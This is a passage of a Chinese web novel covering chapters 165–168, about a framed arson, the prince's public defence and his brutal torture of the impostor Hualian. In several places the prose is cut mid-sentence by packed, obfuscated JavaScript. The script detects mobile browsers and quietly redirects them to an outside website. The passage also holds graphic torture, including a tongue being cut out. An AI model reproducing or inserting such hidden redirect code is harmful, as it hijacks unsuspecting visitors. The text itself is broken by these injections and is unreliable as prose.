“就是这里了,动手!”为首的地痞压低声音,眼中闪烁着贪婪与兴奋的光芒。 柴薪被堆放在木屋四周,火把一点,干燥的木柴遇火即燃,火舌迅速舔舐着屋墙,发出“噼里啪啦”的爆裂声。 刺鼻的浓烟很快灌满了屋子。 “咳咳……咳咳咳……怎么回事?” “着火了!着火了!” 屋内的病患们被呛醒,惊恐地发现四周已是一片火海。 他们挣扎着想要推开门窗,却绝望地发现,房门早已被人从外面死死锁住,就连窗户也被封得严严实实! “开门!快开门啊!” “外面的人是谁?为什么要害我们?” “救命啊!救命啊!” 绝望的哭喊声、拍门声、咳嗽声交织在一起,在寂静的夜空中显得格外凄厉。 就在这时,门外传来了几个粗嘎的声音,正是那几个地痞流氓,他们按照姜家姨娘事先教好的话,扯着嗓子大喊: “嚷嚷什么!实话告诉你们,医治你们这些废物太花费钱财了,朝廷的银子也不是大风刮来的!四皇子殿下说了,不如一把火烧了干净,省事!” “没错!你们都**,四皇子殿下就能早日回京交差!你们就乖乖认命吧!” “要怪,就怪你们自己命贱,久治不愈,成了殿下的累赘!” 屋内的病患们闻言,如遭雷击。 他们不敢相信自己的耳朵! 那个带领他们躲过劫难、为他们寻医问药的四皇子殿下,竟然要烧死他们? 因为他们是累赘?因为医治他们太花钱? “不!这不是真的!” “四皇子殿下不会这么对我们的!他救了我们啊!”有病患虚弱地反驳,但声音很快被更大的火势和绝望淹没。 “四皇子你心肠如此毒辣,我们做鬼也不会放过你!” “枉我们还当你是救星!你不得好死!” “苍天无眼啊!我们到底做错了什么,要遭这样的罪!” 求生的本能被彻底的绝望取代,病患们在烈火中发出最恶毒的诅咒。 火光冲天,浓烟滚滚,很快惊动了整个南朔城。 “走水了!城南走水了!” “快救火啊!” 萧凌川瞬间被惊醒,他一边火速披上外衣,一边厉声下令:“凌风!集合队伍,救火!” 大批士兵举着火把,提着水桶,朝着火场飞奔而去。 但火势实在太大了,木质的房屋本就易燃,加上有人刻意堆放了助燃之物,火龙肆虐,将半边天都映得通红。 “快!快把门撞开!”萧凌川看着熊熊燃烧的房屋,心头涌起一股不祥的预感,脸色铁青。 淋上水的士兵们用巨木撞击着被反锁的屋门,“轰隆”一声,烧得焦黑的门板终于被撞开。 热浪裹挟着浓烟扑面而来,呛得人睁不开眼。 “里面还有人!快救人!” 士兵们冒着生命危险冲入火场,从里面抬出一个个被烧得面目全非的病患。 姜姝宁和孙神医也带着药箱赶到了,看着眼前惨不忍睹的景象,姜姝宁只觉得一阵天旋地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有?那些活下来的人都亲耳听到了!是穿着你们士兵铠甲的人亲口说的!还能有假吗?”一个失去妻子的壮汉红着眼睛怒吼,唾沫星子几乎喷到萧凌川脸上。 “对!我们都听见了!就是你麾下的士兵干的!” “你这**子,蛇蝎心肠!我们定要**圣上,告御状!” 眼看着激动的百姓就要冲上来,将萧凌川撕成碎片,凌风和其他亲卫神色一凛,“唰”地一声拔出腰间的佩剑,护在萧凌川身前,剑尖直指人群。 “保护殿下!”凌风怒喝,眼神冰冷如刀。 气氛瞬间剑拔**张,一场**眼看就要爆发。 第165章 他比前世好哄 第一百六十五章他比前世好哄 姜姝宁刚为一名烧伤的妇人包扎完伤口,抬头便看到了这惊心动魄的一幕。 她心中一紧,也顾不得手上的污渍,慌忙起身,不顾一切地冲到了萧凌川和愤怒的百姓之间。 “大家冷静!请大家冷静听我说!” 她的突然出现,让原本剑拔**张的场面出现了一丝凝滞。 百姓们看着这个曾经救治过他们的“姜大夫”,脸上的怒容稍稍收敛了几分,但眼中的怀疑和悲愤却丝毫未减。 “姜大夫,你让开!这不关你的事!我们要找这个狼心狗肺的四皇子算账!”有人喊道。 姜姝宁努力让自己镇定下来,大声道:“各位乡亲!这当中肯定有误会!请你们仔细想一想,四皇子殿下从抵达南朔到现在,可曾做过一件伤害百姓的事情吗?” 她环视四周,目光坚定而诚恳:“若是殿下真嫌弃病患是累赘,当初南月猫毒爆发之时,他为何不直接率领兵马,将所有感染的百姓全部屠戮干净?那样岂不是更省事,更能早日回京交差? 何必还要与大家一同潜伏在地窖之中,冒着被感染的风险,苦苦支撑那么多时日,等待我们前来?” “如今,这已经是最后一批病患了,眼看大家就要痊愈,南朔城就要恢复往日的安宁,殿下又何必在这个时候,多此一举,放一把火烧死他们,还故意让士兵说出那样的话来?你们不觉得这太不合情理了吗?” “这分明是有人在暗中捣鬼,故意栽赃陷害四皇子殿下!若是大家今日不分青红皂白,将这盆污水泼在殿下头上,那才是真正遂了那个幕后黑手的意啊!” 姜姝宁一番话,有理有据,掷地有声。 原本被愤怒冲昏头脑的百姓们,听她这么一分析,也渐渐冷静下来。 是啊,姜大夫说得有道理。 四皇子殿下若真想杀他们,何必等到现在? 当初他们病得最重,毫无反抗之力的时候,不是更容易下手吗? 况且,当时就算杀了那些中了南月猫毒的患者,他们也不会有任何异议。 仔细想来,那些士兵的言辞,也确实有些刻意,仿佛生怕别人不知道是四皇子下令似的。 人群中开始出现窃窃私语,看向萧凌川的目光,虽然依旧带着悲伤,却少了方才那股不死不休的仇恨。 “姜大夫说的……似乎有些道理……” “可……可是,我们的亲人都**啊!这火确实是那些穿着铠甲的士兵放的,那些话也是他们说的……”一个老者颤声说道,眼泪纵横,“他们的仇,到底该由谁来报呢?” 萧凌川看着挡在自己身前的纤弱身影,心头掠过一丝复杂难言的情绪。 他上前一步,与姜姝宁并肩而立,深邃的目光扫过众人悲痛的脸庞,声音沉稳而坚定: “诸位乡亲,我理解你们此刻的心情。逝去的生命无法挽回,但我向你们保证,这件事绝非我所为。” 他顿了顿,语气中带着不容置疑的决绝,“大家若信得过我,便给我几天时间。我一定会查个水落石出,将那些真正放火行凶、残害无辜的凶手揪出来,给死者一个公道,给南朔城所有百姓一个交代!” 他的声音带着一股安抚人心的力量,又透着不容置喙的威严。 百姓们面面相觑,原本汹涌的怒火,如同被无形的手按捺下去几分。 他们看着眼前这个身形挺拔、眉眼冷峻的皇子,再看看旁边神色温和却目光坚定的姜姝宁,心中紧绷的防线渐渐有所松动。 终于,先前那个哭诉的老者,声音嘶哑地道:“好,我们便信殿下一次!请殿下务必帮我们找出杀害我们家人的凶手,以慰藉我们无辜死去的亲人!” 他说着,便要跪下。 萧凌川眼疾手快,一把扶住了他:“老人家不必如此。查明真相,还枉死者清白,本就是我一个大邺皇子的职责。” “谢殿下!求殿下为我们查明真相!” 其他百姓见状,也纷纷附和:“求殿下为我们查明真相!” 声音此起彼伏,虽然依旧悲戚,却少了几分尖锐的指责,多了几分期盼。 萧凌川点了点头,声音沉肃:“我会的,诸位等我消息!” 得了萧凌川的承诺,百姓们的情绪总算平复了些,在士兵的疏导下,一步三回头地渐渐散去,只留下满目疮痍的火场和弥漫在空气中的焦糊味。 直到最后一个百姓的身影消失在街角,萧凌川才缓缓收回目光。 他侧过头,看向身旁的姜姝宁,方才面对百姓时的冷硬褪去几分,眼神复杂。 下一刻,他竟是朝她郑重地躬身行了一礼:“方才,多谢姜姑娘相助!” 姜姝宁一愣。 她还是第一次见萧凌川如此客气,一时间有些反应不过来。 他这是转性了? 他继续道:“若非姜姑娘及时出言,只怕今日之事难以善了。这份情,我记下了。” “殿下言重了,你我如今是盟友,我自然是要帮你的。况且,臣女只是说了该说的话,相信殿下并非滥杀无辜之人。”姜姝宁顿了顿,关切地问,“殿下准备如何找出真正纵火的凶手?若需要臣女的帮助,随时开口!” “不必了,我自有法子!”他的声音恢复了往日的冰冷,转身离开,似乎不愿再多言。 看着他近乎冷酷的背影,姜姝宁心中一阵无奈。 怎么如此阴晴不定? 刚走了几步,他像是猛然想到了什么,霍然回过头来。 他几步便重新走到了姜姝宁面前,那双深邃的眸子紧紧锁住她,目光比方才面对那些激愤百姓时还要凌冽几分,带着一股审视和逼问的意味。 “姜姝宁,”他声音低沉,带着一丝压抑的怒火,“你当真如此爱慕萧怀瑾?” 姜姝宁被他这突如其来的质问弄得一头雾水,完全跟不上他的思路:“殿下,你在说什么?” 这都哪儿跟哪儿啊? 前一刻还在讨论纵火案,怎么下一刻就跳到萧怀瑾身上去了? 萧凌川冷笑一声,眼神更加冰冷:“不必否认!你曾亲口说过,香囊是要送给心上人的!那个绣了‘瑾’字的香囊,你敢说不是给萧怀瑾的!” 又是这茬! 姜姝宁简直想翻个白眼。 这香囊的事情,他到底要介意到什么时候? 这段时日他对她的忽冷忽热,该不会都是因这香囊而起的吧? 她深吸一口气,耐着性子解释道:“殿下,这香囊的确是臣女打算做给五皇子殿下的,但并非因为爱慕,而是为了表达歉意。” “歉意?”萧凌川眉头紧蹙,显然对这个答案并不满意“你对他有何歉意?” 姜姝宁迎上他审视的目光,坦然道:“若非因为臣女,殿下您怎会极力撮合五皇子殿下和苏家的婚事?臣女知道,此事对崔苏两家,甚至对整个大邺的朝局都有好处,于殿下而言,也是一步重要的棋。 但对五皇子而言,自己的终身大事,如今成了联结两家利益的工具,他心中想必会很难过吧?臣女自觉此事因我而起,心中有愧,所以才想着做个香囊给他,以此作为表达歉意的礼物,仅此而已。” 听到这话,萧凌川紧绷的神色才有了几分缓和。 “即便如此,你也不能拿着原本要送他的香囊来糊弄我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782035|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 一想到那个绣着别人名字的香囊,他心里还是有些不痛快。 姜姝宁自知理亏,只能低下头,小声道:“是,臣女知错。臣女会重新为殿下做一个新的香囊。” 若不是因为姜天泽忽然来了南朔,又病倒了,她原本是有更多时间为萧凌川做香囊的。 现在那个香囊还差最后一点收尾,暂时还不能给他。 “当真?”萧凌川眉梢微挑,方才心头的怒意竟在听到这话时奇迹般消散,甚至隐隐透出几分期待,“那我便拭目以待。这一次,莫要再让我失望了!” “是,殿下!”姜姝宁恭声应下,心中暗自松了一口气。 没想到此事竟如此轻易便揭过了。 看来今生的萧凌川,比前世好哄。 萧凌川深深地看了她一眼,这才转身,大步流星地离开了。 他回到营帐,立刻吩咐凌风:“去查!昨夜火起之时,所有经过城南安置所的人,一个都不要放过!还有,那几个最先煽动百姓情绪的人,也给我盯紧了!” “是,殿下!”凌风领命而去。 很快凌风便带回了消息。 他从昨夜打更人和安置所附近仓库的守夜人口中得知,昨夜三更天左右,确实有四五个身穿大邺军制式铠甲的男子鬼鬼祟祟地经过一个小巷,不久后便发生了火灾。 而那几个男子离开时,行色匆匆,似乎将什么东西丢弃在了一条通往西街的巷子里。 凌风立刻带人前往那个小巷搜查,果然在巷子深处一个隐蔽的角落里,找到了几件**乱丢弃的铠甲,上面还沾着些许烟灰和焦糊的气味。 有了这条线索,萧凌川当即下令,以那条小巷为中心,方圆五里之内展开秘密搜查,重点清查那些平日游手好闲、有前科的地痞无赖。 不出半日,凌风便押回几个形迹可疑之人。 这些人不学无术,乃南朔城中臭名昭著的地痞流氓,终日混迹于赌场青楼,欠下累累赌债。 这样的人,最容易被金钱诱惑,做出丧尽天良之事。 几名地痞被带到萧凌川面前时,个个面色惨白,双腿打颤。 萧凌川冷冷扫他们一眼,声音如冰霜刺骨:“昨夜安置所纵火一事,可是你们所为?” 他们一见端坐上首、面色阴沉、浑身散发凛冽煞气的萧凌川,吓得魂不附体,纷纷跪地,磕头如捣蒜。 “殿下饶命!小人什么都不知道!” “还敢狡辩!来人,上刑!” 眼见凌风手中长鞭高高扬起,他们顿时吓得面如死灰,忙不迭招供:“小人招了!是……是一个老妪!一个不会说话的老妪!她给了我们一袋金子,命我们去安置所放火,还要散播谣言,污蔑……污蔑是殿下您下令烧死那些病人……还让我们穿上偷来的军爷铠甲,故意让人瞧见……” “老妪还说,事成之后会再给我们更多金子!殿下,我们实在是被逼无奈,一时财迷心窍啊!我们根本没料到会烧死那么多人!” “那个老妪如今何在?”萧凌川沉声问道,眼底寒光乍现。 一个混混哆哆嗦嗦从怀中掏出一张皱巴巴的纸条,双手奉上:“殿下,这是……这是那老妪留下的,可昨夜之后,她就再没露面!我们也不知她去了何处!” 凌风上前接过纸条,恭敬递给萧凌川。 看到那熟悉的字迹,萧凌川脸上缓缓浮起一丝阴鸷而狰狞的笑意,那笑容看得跪在地上的几个地痞不寒而栗。 “呵……”他低低地笑了一声,声音里充满了森然的杀机,“我正愁找不到她,现在,她是自己送上门来了!” 既然来了,就别想活着回去! 第166章 残忍的反杀 第一百六十六章残忍的反杀 次日天明,一个惊人的消息迅速席卷了整个南朔城军营,并以更快的速度传遍了城中每一个角落。 “听说了吗?四皇子殿下昨夜在亲自盘问那些纵火犯时,竟被其中一名嫌疑犯暴起行刺!” “刺中了?殿下如今怎么样了?” “听说……听说那一刀正中心口要害,血都浸透了软甲,殿下他……他已经昏迷不醒,能不能熬过去都难说!” 流言如瘟疫般扩散,军心动荡,城中百姓更是惶惶不安。 他们原指望着四皇子能尽快揪出纵火真凶,没想到,这唯一的希望竟也濒临破灭。 一时间,南朔城的上空仿佛被一层厚重的阴云笼罩,压得人喘不过气来。 装扮成老妪的姜家姨娘行走在街上,听到人群里传来的消息,一双眼睛里迸射出难以抑制的狂喜和激动。 萧凌川重伤昏迷? 连老天爷都在帮她! 这简直是杀了他的绝佳时机! 她脸上浮起着毒蛇般的算计。 夜色如墨,一道鬼魅般的身影,避开了重重守卫,悄无声息地潜入了四皇子萧凌川的主帐。 帐内只燃着一盏昏黄的油灯,光线暗淡,隐约可见床榻上隆起一个人形,呼吸微弱,似乎随时都会断气。 她眼中闪过一丝鄙夷和狠戾,随即抽出那柄擦拭得锃亮的**,用尽全身力气,狠狠地朝着那床上之人的心脏位置刺了下去! “噗——” 一声闷响。 然而,预想中刀刃刺入血肉的触感并未传来,反而像是刺进了一团厚实的棉花。 姜家姨娘心中咯噔一下,一股不祥的预感瞬间攫住了她的心脏。 她猛地掀开被子—— 被子之下,哪里有什么重伤昏迷的萧凌川,分明只有一个被戳穿了的枕头和几件叠起的衣物! 糟糕,中计了! 她浑身的血液仿佛在这一刻凝固,一股寒气从脚底直冲天灵盖。 “姜家姨娘……哦,不对,应该叫你一声花莲,别来无恙啊!” 一个冰冷刺骨、夹杂着浓浓嘲讽的声音,从她身后幽幽响起,如同地府爬出的催命恶鬼。 花莲的瞳孔骤缩小。 她僵硬地转过身,只见萧凌川正斜倚在帐中的案几旁,好整以暇地看着她,那双深邃的桃花眸在昏暗的灯火下,闪烁着狼一般幽冷的光。 巨大的惊骇让她的大脑一片空白,但常年伪装的本能让她下意识地抬起手,飞快地比划起来:“殿下,不瞒您说,花莲是您母亲的名字,不是我的!我才是当初被送来和亲的南月公主,我叫花芷若!当初之所以骗你,是因为……” 萧凌川看着她的动作,嘴角的弧度越发讥诮,他嗤笑一声:“花莲,你这些年假扮我母亲,是不是演上瘾了?连自己是谁都忘了?这里没有旁人,就我们两个,你这套把戏,还是收起来吧,看着怪恶心的。” 花莲陡然一惊,忽然意识到一件难以置信的事情。 方才情急之下,她下意识比了手语,而他竟然看得懂! 更让她遍体生寒的是,他是如何得知她真实姓名的? 那个名字,早在二十多年前,就已随那个秘密一同深埋黄土,永不见天日了! 无数个疑问在她脑中炸开,让她感到了前所未有的恐惧。 来不及细想,求生的本能让她抽出藏在腰间的软剑,手腕一抖,剑尖直刺萧凌川的咽喉! “锵!” 萧凌川甚至没有移动脚步,只是随意地抬手,便用手中的剑鞘精准地格开了她的攻击。 花莲剑法刁钻狠辣,招招直逼要害,却连萧凌川的衣角都未能碰到分毫。 不过三两招,只听“当啷”一声,花莲手中的软剑便被挑飞,下一刻,冰冷的剑锋已经稳稳地抵在了她的喉咙上。 剑尖的寒意透过皮肤,她浑身的汗**顿时倒竖起来。 死亡的阴影瞬间笼罩了她。 强烈的求生欲让她抛弃了所有的伪装和尊严。 “求……求求你,别……别杀我……” 一个嘶哑、干涩,仿佛砂纸摩擦过喉咙的声音,从她嘴里艰难地挤了出来。 因为太久没有说过话,她的嗓音听起来怪异而陌生。 “怎么,不装哑巴了?”萧凌川的嘴角勾起一抹残忍的弧度,眼神里的戏谑变成了浓得化不开的杀意。 看到他眼中那毫不掩饰的杀机,花莲彻底崩溃了,她浑身抖得像风中的落叶:“殿下,我的确是花莲……可这都是公主的主意,是您母亲自己让我假扮她的!当初她来南月和亲时,腹中已经有了孩子,为了不让大邺皇帝发现,才出此下策……殿下,其实你根本就不是大邺皇帝的后代,而是……” 她的话还没说完,一道钻心刺骨的剧痛便从左肩传来! “啊——!” 花莲发出一声凄厉的惨叫,萧凌川面无表情地将长剑刺穿了她的肩胛骨,鲜血瞬间染红了她的衣衫。 “你是不是想说,我的亲生父亲是南月人,我身上流着的都是南月人的血,所以,我应该帮着南月攻占大邺,然后,在你和你那个好女儿的‘辅佐’下,成为大邺的新帝?” 萧凌川的声音平静得可怕,一字一句,都像是淬了毒的冰针。 花莲疼得浑身痉挛,脸上血色尽失,惊恐地瞪大了眼睛:“你……你既然已经知道自己的身份,为、为何还……啊!” 萧凌川缓缓转动剑柄,剑刃在她血肉中搅动的声音清晰可闻。 剧痛让花莲的眼前阵阵发黑,几乎要晕厥过去。 “你再说一句谎试试?”他俯下身,凑到她耳边,声音如同恶魔的低语,充满了无尽的恨意。 前世,他就是信了姜瑶真这对卑鄙母女编造的这套说辞,被所谓的“身世”和“血脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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今日听闻他受伤,她心头掠过一抹莫名的担忧。 本想早些探望,无奈忙于照料火灾中重伤未愈的病患,直到此刻才得空。 反正如今她女扮男装,就算深夜探访萧凌川,也不会惹人闲话。 她在心底反复告诫自己,会为他担忧,是怕他**没人帮她为大哥报仇,而非为他动了真心。 刚近营帐,一道黑影忽地闪现,还没来得及反应,便有人捂住她的嘴,将她拖至一处隐蔽角落。 浓烈的血腥味扑鼻而来,她下意识拉开那只手:“你受伤了!我是大夫,可以帮你包扎伤口!” 花莲的面容隐藏在黑暗中,因左肩伤势过重,痛得她咬牙切齿,索性将手中长剑架在姜姝宁脖颈上:“不许出声!立刻给我包扎!” 姜姝宁从药箱里取出药粉和纱布,抬头刹那,月光照亮那人面容——竟是姜氏姨娘! 她浑身上下的血液顿时凝固。 怎么会是她? 她……不是哑巴吗? 第167章 血腥的一幕 第一百六十七章血腥的一幕 就在这时,一道阴冷的声音如淬毒的冰锥,穿透夜色,直直扎入她们的藏身之处。 “花莲,不用躲了,你身上的血腥味浓烈,我很快就能找到你。” 是萧凌川! 那声音里不带一丝温度,每个字都像是从牙缝里挤出来的,裹挟着浓重的杀意。 月光下,一个颀长的身影正缓步走来,他脸上似乎还沾染着些许白色的药粉,在清冷的月色映照下,显得鬼魅而阴森。 他手里提着一把剑,剑尖拖在地上,划出一道细微的声响,每一下都像是踩在人的心尖上。 “若是现在出来,我可以给你一个痛快的死法!若是等我找到你……”萧凌川停下脚步,唇角勾起一抹极尽阴狠的笑意,“我会让你生不如死!” 姜姝宁能清晰地感觉到,身旁的姜家姨娘整个身体都在剧烈地颤抖。 那不是因为冷,而是源于骨子里的恐惧。 原来,她身上的伤,是萧凌川所为。 可他为什么要伤她? 难道**,这个女人是姜瑶真的亲生母亲吗? 正当她满心疑窦之际,掌心忽然被塞进一个冰凉坚硬的东西。 她下意识低头,借着微弱的月光,看到那是一块晶莹剔透的玉牌,质地不凡。 “听着,小大夫!”花莲的声音压得极低,气息急促而紊乱,“我是南月公主花芷若,这块玉牌便是证明我身份的物件!” 姜姝宁的瞳孔骤然紧缩,震惊得几乎要叫出声来。 姜家姨娘……不仅不是哑巴,她竟然还是南月国的公主? 那姜瑶真,岂不是南月皇室的后裔? 她忍不住问:“四皇子殿下……为何要杀你?” “因为我知道了他的身世秘密!”花莲的语气里充满了怨毒与不甘,“他根本不是大邺皇帝的种!他是南月人!当年他母亲被送来大邺当贡女时,肚子里就已经怀上了他。大邺皇帝那个蠢货,戴了这么大一顶绿帽子都不知道,还傻乎乎地将他当成自己的亲骨肉养大!我是这世上唯一知道这个秘密的人,所以,他要杀我灭口!” 花莲死死抓住姜姝宁的手臂,力道之大,几乎要将她的骨头捏碎。 “你把这个玉牌交给大邺皇帝!把萧凌川的身世秘密告诉他!你是大邺人,你不能眼睁睁看着大邺的江山,落在一个南月人手里!” 她今日未必能活着离开这里。 但至少,她要让她的女儿姜瑶真,以南月公主后裔的身份,留在这世上! 姜姝宁的心脏狂跳不止,手中的玉牌仿佛成了烙铁,烫得她几乎要扔出去。 这个秘密太过惊世骇俗,是她前世今生都始料未及的。 她极力克制着内心的惊涛骇浪,强迫自己冷静下来:“我怎么知道你有没有骗我?况且,你也是南月国人,为何不帮他?” “帮他?”花芷若仿佛听到了天大的笑话,发出一声凄厉的冷笑,“我为什么要帮一个处心积虑要杀我的人?他母亲不过是我的一个侍女,叫姜莲!因为身份低微,所以进了宫后,大邺皇帝连个名分都懒得给她。后来她为了帮我逃出皇宫,被后宫的人活活欺辱致死……我看在她忠心耿耿的份上,本想念着旧情,动用南月在暗中的势力帮她儿子一把,没想到他竟是个狼心狗肺的东西,反过来想要我的命……” 她话还没说完,萧凌川的脚步声已近在咫尺。 “看来,是要逼我自己找了!”他阴恻恻地说道,准确无误地沿着血腥味往她们所在的方向一步步走来。 “快走!带着我的玉牌走!”花莲用尽全身力气狠狠推了姜姝宁一把。 紧接着,她不再躲藏,主动从阴影里站起身,踉跄着朝萧凌川走去。 “殿下,我在这里!” 萧凌川的目光瞬间锁定在她身上,那眼神如同看待一个死物,冰冷无情。 “玉牌呢?” “玉牌……我藏在了京城。”花莲喘息着,试图拖延时间,“殿下,只要你放过我,等你回京,我再……” 她的话没能说完,一道寒光闪过,萧凌川手中的长剑已经毫不留情地贯穿了她的腹部。 鲜血喷涌而出,在月色下绽开一朵妖异的花。 “你以为,我还会信你吗?”他缓缓抽出长剑,剑身上温热的血液滴滴答答地落在草地上。 “噗嗤!” “噗嗤!” 他又接连刺了她好几剑,每一剑都精准地避开了要害,却又都刺在最能让人感受到痛苦的地方。 躲在不远处的姜姝宁死死捂住自己的嘴,牙齿咬得咯咯作响,才没让自己尖叫出声。 眼前这血腥的一幕,让她浑身战栗,胃里翻江倒海。 花芷若疼得蜷缩在地上,连声音都在发颤:“殿下……给我个痛快吧……求你了……” “给你个痛快,岂不是太便宜你了?”萧凌川的声音仿佛来自地狱最深处,“我要让你在无尽的痛苦中,慢慢流干身上的血,一点一点地死去。” 只有这样,才能缓解他心中深藏了两世的汹涌恨意。 花莲知道自己今日在劫难逃,绝望之下,反而生出了一股鱼死网破的疯狂。 她用尽最后一丝力气,故意嘶声大喊:“萧凌川!你这个南月贱种!总有一天,大邺人会发现你并非皇室血脉,你根本没有资格……” 她的话戛然而止。 萧凌川的剑再次挥下,这一次,目标是她的嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787896|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锋利的剑刃直接刺了进去,残忍地搅动,将她的舌头硬生生割了下来。 “你那么喜欢装哑巴,如今就遂你的愿,让你成为真正的哑巴!” 他冷笑着,将带血的舌头甩在地上。 做完这一切,他正准备转身离开,却忽然捕捉到不远处传来一阵极其轻微的、踉跄奔跑的脚步声。 有人! 他的眼神瞬间变得狠戾,提着还在滴血的剑,朝着声音传来的方向大步走去。 剑尖在地上划过,留下一道蜿蜒的、被月光映照得发黑的血痕…… 此时,舌头被割断、浑身是血的花莲,凭借着强烈的求生欲,努力地在地上向前爬行。 剧痛让她眼前阵阵发黑,最终还是支撑不住,一头栽倒在地。 就在她意识即将消散之际,一双干净的男式靴子,突兀地出现在她模糊的视线里。 她艰难地抬起头,看到了一张清俊温和的少年脸庞。 是姜家三房的那个小子,姜天泽! “救……救我……”她奋力地动着血肉模糊的嘴,发出含糊不清的、如同野兽悲鸣般的求救声。 姜天泽在她面前蹲下身,从怀里取出一颗药丸,塞进了她的嘴里。 药丸入口即化,带着一股奇异的清香。 花莲吞下之后,立刻感觉到身上那些血流不止的伤口,似乎真的不再那么疼痛,血也止住了。 她眼中露出一丝感激。 可还没等她有任何表示,一股诡异的感觉迅速蔓延至全身。 她忽然发现,自己竟然动弹不得了! 除了眼珠,浑身上下没有一处地方能听从她的指挥! 她惊恐地瞪大了眼睛,死死地盯着姜天泽。 姜天泽脸上的温和神色渐渐褪去,取而代之的,是一种与他年龄不符的、森然入骨的寒意。 他笑了,俊逸的脸上浮起一丝天真又残忍的表情。 “你就是那个给我大姐姐下毒的姜家姨娘吧?”他轻声细语,像是在说什么有趣的事情,“就这么让你**,岂不是太可惜了?正好我母亲最近说缺一个趁手的炼毒的人,我看……你就很合适!” 说完,他不再理会花莲眼中极致的恐惧和绝望,像拖一条死狗一样,拖着她僵硬的身体,消失在了夜色笼罩的营地深处。 —— 萧凌川来到了刚才发出声响的地方。 这里空无一人,只有被踩断的枯枝和凌乱的草叶。 他的目光在地上巡梭,忽然,一个藏青色的东西吸引了他的注意。 他弯腰捡起,发现那是一个小巧的香囊。 香囊做工精致,绣样繁复,上面用金色的丝线,绣着一个格外显眼的字——川。 第168章 梦魇 第一百六十八章梦魇 姜姝宁不知道自己是怎么跑回营帐的。 她手脚冰凉,像是被浸在三九天的雪水里,连骨头缝都透着寒气。 恐惧像无数只冰冷的手,从四面八方伸来,死死地攫住了她,让她几乎无法呼吸。 “大小姐,你怎么这么晚才回来?”凌芜的声音像是从遥远的地方传来,不太真切。 她上前一步,目光立刻被姜姝宁袖口那抹刺眼的暗红吸引,惊呼一声,“大小姐,你流血了!” “这不是我的血!”姜姝宁慌乱地将手缩回身后,飞快将掌心里那块冰凉坚硬的玉牌,塞进了枕下最深处。 烛火摇曳,将她惨白如纸的脸映照得如同鬼魅,那双原本透亮的眸子里,盛满了来不及掩饰的惊恐。 “大小姐,你怎么了?脸色怎么这么差?可是遇到了什么事?”凌芜察觉到不对劲,担忧地追问。 对上凌芜那双关切的眼睛,姜姝宁心头的恐惧愈发汹涌。 她不能说。 就在方才,她知道了萧凌川的真实身世。 也亲眼见证了知晓这个秘密的下场—— 那人他剑下被寸寸凌虐,生生割去舌头,最终化为一滩模糊血肉。 萧凌川,远比她想象中还要残忍、冷酷、视人命如草芥。 “我、我没事……”她的牙齿不受控制地上下打着颤,发出咯咯的声响,“就是方才在外面吹了冷风,有些……怕冷罢了……” 她甚至来不及换下那件沾染了血腥与寒夜的衣衫,就那么哆哆嗦嗦地爬上床,扯过被子,将自己从头到脚裹得严严实实。 根本不管用。 只要一闭上眼,那血腥残酷的画面便在脑中挥之不去。 后半夜,在极致的疲惫与恐惧中,她终于昏沉睡去,却发起了高烧。 凌芜守在床边,一摸她的额头,顿时焦灼不已:“大小姐这是怎么了,怎么突然发起高烧来了?” 一旁的夏嫣还算镇定,提醒道:“快,去叫孙神医来看看,兴许是夜里着凉,患了伤寒。” 凌芜这才疾步跑出营帐。 她心急如焚,却下意识地拐了个弯,没有直接去找孙神医,而是奔向了萧凌川的主帐。 “殿下,大小姐她……今夜回来时就有些奇怪,好像被什么吓到了。现在发起高烧,说胡话了,属下很是担心她。”凌芜跪在帐外低声道。 营帐内,萧凌川正坐在案前,修长的手指漫不经心地把玩着那个绣着“川”字的香囊。 听到凌芜的禀报,他动作一顿,深邃的黑眸在暗夜里像两潭深不见底的寒渊。 “我想,我知道原因。” 原来方才听到的脚步声真的是她的。 她肯定看到了他虐杀花莲的全程,所以才会被吓成这样。 重生之后,他处心积虑藏起骨子里那些偏执、暴戾和凶残的本性,生怕会吓跑她。 纵使百般遮掩,终究还是功亏一篑。 他最不愿示人的阴暗面,就这么猝不及防地,被她撞了个正着。 他撩起眼皮,眸色深沉难辨,对凌芜吩咐道:“去请孙神医,让他除了退热的药,再多开些安神的。药方拿到后直接送去煎煮,我亲自来喂她。” “是,殿下!”凌芜得了命令,连忙起身退下。 凌芜走后,凌风上前禀告:“殿下,花莲不见了,属下带人找遍了整个营地,都没有发现她的踪迹,连血迹都在一处断了线索。” 萧凌川的眼底浮起一丝阴鸷之色:“她还真是难杀。无妨,她女儿还在京城,她一定会回去的。放心,她逃不出我的手掌心。” “那块玉牌……”凌风迟疑道。 